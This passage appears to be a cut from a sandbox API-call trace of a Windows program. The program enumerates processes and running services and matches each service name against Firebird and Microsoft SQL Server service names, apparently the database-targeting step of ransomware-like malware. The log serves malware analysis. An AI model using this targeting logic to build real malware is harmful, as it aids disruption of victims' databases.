th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0164.649] CloseHandle (hObject=0x508) returned 1 [0164.649] Sleep (dwMilliseconds=0x1f4) [0165.595] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dbc8 [0165.609] EnumServicesStatusExW (in: hSCManager=0x408dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0165.610] GetLastError () returned 0xea [0165.610] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x40525d8 [0165.610] EnumServicesStatusExW (in: hSCManager=0x408dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40525d8, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40525d8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0165.620] CloseServiceHandle (hSCObject=0x408dbc8) returned 1 [0165.620] lstrlenW (lpString="AppXSvc") returned 7 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0165.621] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.621] lstrlenW (lpString="Audiosrv") returned 8 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0165.621] lstrlenW (lpString="BFE") returned 3 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.621] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0165.621] lstrlenW (lpString="CDPSvc") returned 6 [0165.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0165.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0165.621] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0165.621] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0165.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0165.622] lstrlenW (lpString="ClickToRunSvc") returned 13 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0165.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0165.622] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0165.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0165.622] lstrlenW (lpString="CryptSvc") returned 8 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.622] lstrlenW (lpString="DcomLaunch") returned 10 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.622] lstrlenW (lpString="DeviceAssociationService") returned 24 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0165.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0165.622] lstrlenW (lpString="Dhcp") returned 4 [0165.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.623] lstrlenW (lpString="Dnscache") returned 8 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.623] lstrlenW (lpString="DPS") returned 3 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.623] lstrlenW (lpString="DusmSvc") returned 7 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0165.623] lstrlenW (lpString="EventLog") returned 8 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0165.623] lstrlenW (lpString="EventSystem") returned 11 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.623] lstrlenW (lpString="FontCache") returned 9 [0165.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0165.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0165.623] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0165.623] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0165.624] lstrlenW (lpString="gpsvc") returned 5 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.624] lstrlenW (lpString="iphlpsvc") returned 8 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.624] lstrlenW (lpString="KeyIso") returned 6 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0165.624] lstrlenW (lpString="LanmanServer") returned 12 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.624] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.624] lstrlenW (lpString="lfsvc") returned 5 [0165.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0165.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0165.624] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0165.624] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0165.625] lstrlenW (lpString="lmhosts") returned 7 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.625] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.625] lstrlenW (lpString="LSM") returned 3 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0165.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0165.625] lstrlenW (lpString="MpsSvc") returned 6 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.625] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.625] lstrlenW (lpString="NcbService") returned 10 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0165.625] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0165.625] lstrlenW (lpString="netprofm") returned 8 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.625] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.625] lstrlenW (lpString="NgcSvc") returned 6 [0165.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0165.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0165.625] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0165.626] lstrlenW (lpString="NlaSvc") returned 6 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.626] lstrlenW (lpString="nsi") returned 3 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.626] lstrlenW (lpString="PcaSvc") returned 6 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.626] lstrlenW (lpString="PlugPlay") returned 8 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.626] lstrlenW (lpString="Power") returned 5 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.626] lstrlenW (lpString="ProfSvc") returned 7 [0165.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.627] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.627] lstrlenW (lpString="RpcSs") returned 5 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.627] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.627] lstrlenW (lpString="SamSs") returned 5 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.627] lstrlenW (lpString="Schedule") returned 8 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.627] lstrlenW (lpString="SecurityHealthService") returned 21 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0165.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0165.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0165.627] lstrlenW (lpString="SENS") returned 4 [0165.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.628] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.628] lstrlenW (lpString="Spooler") returned 7 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.628] lstrlenW (lpString="StateRepository") returned 15 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0165.628] lstrlenW (lpString="SysMain") returned 7 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.628] lstrlenW (lpString="SystemEventsBroker") returned 18 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0165.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0165.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0165.628] lstrlenW (lpString="Themes") returned 6 [0165.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0165.629] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0165.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0165.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0165.629] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0165.629] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0165.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0165.629] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0165.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0165.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0165.629] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0165.629] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0165.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40525d8 | out: hHeap=0x420000) returned 1 [0165.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0166.090] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.091] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.091] lstrlenW (lpString="System") returned 6 [0166.092] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.092] lstrlenW (lpString="smss.exe") returned 8 [0166.092] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 